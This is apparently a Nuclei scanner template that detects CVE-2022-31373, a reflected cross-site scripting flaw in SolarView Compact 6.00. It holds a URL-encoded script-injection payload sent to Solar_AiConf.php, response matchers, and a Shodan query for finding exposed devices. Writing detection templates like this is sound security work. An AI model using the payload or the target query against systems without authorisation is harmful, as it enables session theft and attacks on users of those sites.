id: CVE-2022-31373 info: name: SolarView Compact 6.00 - Cross-Site Scripting author: ritikchaddha severity: medium description: | SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://github.com/badboycxcc/SolarView_Compact_6.0_xss - https://nvd.nist.gov/vuln/detail/CVE-2022-31373 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-31373 cwe-id: CWE-79 metadata: shodan-query: http.html:"SolarView Compact" verified: "true" tags: cve,cve2022,xss,solarview requests: - method: GET path: - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - '/Solar_AiConf.php/">' - 'HREF="Solar_Service.php"' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by mp on 2022/09/28